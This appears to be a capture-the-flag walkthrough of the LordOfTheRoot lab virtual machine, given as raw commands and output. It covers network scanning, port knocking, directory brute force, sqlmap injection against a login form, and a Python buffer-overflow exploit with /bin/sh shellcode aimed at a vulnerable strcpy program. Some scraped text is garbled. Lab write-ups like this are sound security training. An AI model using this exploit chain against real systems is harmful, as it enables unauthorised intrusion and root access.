$ sudo arp-scan -l | grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535
Starting Nmap 7.01 ( nmap.org ) at 2016-12-21 19:33 MSK
Nmap scan report for 192.168.1.175
Host is up (0.00033s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
22 / tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 3c: 3d: e3: 8e: 35: f9: da: 74: 20: ef: aa: 49: 4a: 1d: ed: dd (DSA)
| 2048 85: 94: 6c: 87: c9: a8: 35: 0f: 2c: db: bb: c1: 3f: 2a: 50: c1 (RSA)
| _ 256 f3: cd: aa: 1d: 05: f2: 1e: 8c: 61: 87: 25: b6: f4: 34: 45: 37 (ECDSA)
MAC Address: 08: 00: 27: 40: B5: B3 (Oracle VirtualBox virtual NIC)
Warning: it can be unreliable;
Device type: general purpose
Running: Linux 3.X | 4.X
OS CPE: cpe: / o: linux: linux_kernel: 3 cpe: / o: linux: linux_kernel: 4
OS details: Linux 3.10 - 3.19, Linux 3.2 - 4.0
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe: / o: linux: linux_kernel
$ ssh smeagol@192.168.1.175
$ sudo knock 192.168.1.175 1 2 3; ssh smeagol@192.168.1.175
$ sudo knock 192.168.1.175 1 2 3; sudo nmap 192.168.1.175 -sV -p1-65535
Starting Nmap 7.01 ( nmap.org ) at 2016-12-22 02:42 MSK
Nmap scan report for 192.168.1.175
Host is up (0.00020s latency).
PORT STATE SERVICE VERSION
22 / tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
1337 / tcp open http Apache httpd 2.4.7 ((Ubuntu))
MAC Address: 08: 00: 27: 39: 91: 65 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe: / o: linux: linux_kernel
<html> <img src="/images/iwilldoit.jpg" align="middle"> </html>
sudo dirsearch -u http://192.168.1.175:1337/ -e php,html,js,json,jpg,txt,bak -w /usr/share/dirb/wordlists/big.txt
<html> <img src="/images/hipster.jpg" align="middle"> <!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh> </html>
$ echo THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh | base64 -d Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer! $ echo Lzk3ODM0NTIxMC9pbmRleC5waHA= | base64 -d /978345210/index.php
$ sudo sqlmap -u 'http://192.168.1.175:1337/978345210/index.php' --data='username=%22&password=%22&submit=+Login+' -vv
<!DOCTYPE html> <html> <head> <title>LOTR Profile</title> </head> <body> <div id="profile"> <b id="welcome">Welcome : <i></i></b> <br> <img src="/images/legolas.jpg" align="middle"><br> <b id="logout"><a href="logout.php">Log Out</a></b> </div> </body> </html>
$ sudo sqlmap -u 'http://10.0.31.127:1337/978345210/index.php' --data='username=%22&password=%22&submit=+Login+' --dbms=MySQL -p username --tables --risk=3 --level=2
smeagol @ LordOfTheRoot: ~ $ cat .bash_history
su - sudo / etc / passwod
visudo
smeagol @ LordOfTheRoot: ~ $
$ cat /proc/sys/kernel/randomize_va_space 2
#!/usr/bin/python import struct import os def p(x): return struct.pack("<L", x) shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80" payload = "" payload += "A"*171 payload += p(0xbfb1c5ec) payload += "\x90"*30000 payload += shell def getFile(): output = subprocess.Popen(['find', '/SECRET/', '-type', 'f', '-size', '-7k'], stdout=subprocess.PIPE) path = output.communicate()[0] path = path.decode().strip() return path while True: os.system('%s "%s"' %(getFile(), payload)) #os.system('gdb --args %s "%s"' %(getFile(), payload))
#!/usr/bin/python import os from random import randint targets= ["/SECRET/door1/","/SECRET/door2/","/SECRET/door3/"] for t in targets: os.system("rm "+t+"*") os.system("cp -p other "+t) os.system("cp -p "+t+"other "+t+"file") os.system("rm "+t+"other") luckyDoor = randint(0,2) t=targets[luckyDoor] os.system("rm "+t+"*") os.system("cp -p buf "+t) os.system("cp -p "+t+"buf "+t+"file") os.system("rm "+t+"buf")
#include <string.h> #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]){ char buff[150]; if(argc <2){ printf("Syntax: %s <input string>\n", argv[0]); exit (0); } //This Program does nothing return 0; }
#include <string.h> #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]){ char buff[159]; if(argc <2){ printf("Syntax: %s <input string>\n", argv[0]); exit (0); } strcpy(buff, argv[1]); return 0; }
Source: https://habr.com/ru/post/318238/
All Articles